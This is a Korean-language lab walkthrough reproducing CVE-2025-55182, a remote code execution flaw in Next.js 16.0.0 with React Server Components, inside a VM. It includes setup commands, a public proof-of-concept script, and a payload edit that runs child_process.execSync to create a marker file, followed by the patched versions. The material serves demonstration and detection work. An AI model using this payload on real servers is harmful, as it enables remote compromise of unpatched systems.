
React Server Components를 사용하는 Next.js 16.0.0에 대한 CVE-2025-55182 원격 코드 실행을 시연하는 재현 가능한 랩으로, 외부 익스플로잇 실행 및 부작용 검증을 포함합니다.
이 문서는 취약한 Next.js + React Server Components 환경에서 실행되는 CVE-2025-55182 원격 코드 실행(RCE)을 시연하기 위한 완전하고 재현 가능한 설정을 제공합니다. 해당 환경은 Multipass Ubuntu VM 내부에서 실행됩니다.
익스플로잇은 VM 외부에서 실행되며, 원격 악용 가능성을 입증하고 비정상 행동 탐지를 위한 환경을 준비합니다.
소스: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
확인:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.json에서 취약한 버전 고정의존성 편집:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
패키지 재설치:
rm -rf node_modules package-lock.json
npm install
확인:
npm list react react-dom next
예상 출력:
npm run build
npm start
예상 출력:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

다른 머신에서:
curl http://10.102.169.126:3000
기본 Next.js HTML 페이지가 응답으로 와야 합니다.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
다음을 찾아서:
hostname: 'localhost',
다음으로 교체:
hostname: '10.X.X.X',
Next가 계속 실행 중인 상태에서:
node test-simple.cjs
Next.js 터미널에서 예상 출력:
NON-CHUNKED-RCE
이는 취약한 버전을 사용한 React Flight를 통한 원격 코드 실행을 확인합니다.

목표는 관찰 가능한 동작(파일시스템 + 프로세스 실행)을 생성하는 것입니다.
test-simple.cjs 내부의 _prefix 편집다음을 찾아서:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
다음으로 교체:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
참고: 실행 컨텍스트에서는 require를 사용할 수 없지만 process.mainModule.require()는 사용할 수 있습니다.
Next가 실행 중인지 확인한 후:
node test-simple.cjs
파일 생성 확인:
ls -l /tmp/
다음이 보여야 합니다:
cve-2025-55182-syscall
이는 부수 효과가 있는 기능적 RCE를 확인합니다.

패치:
React ≥ 19.2.1
Next.js ≥ 16.0.7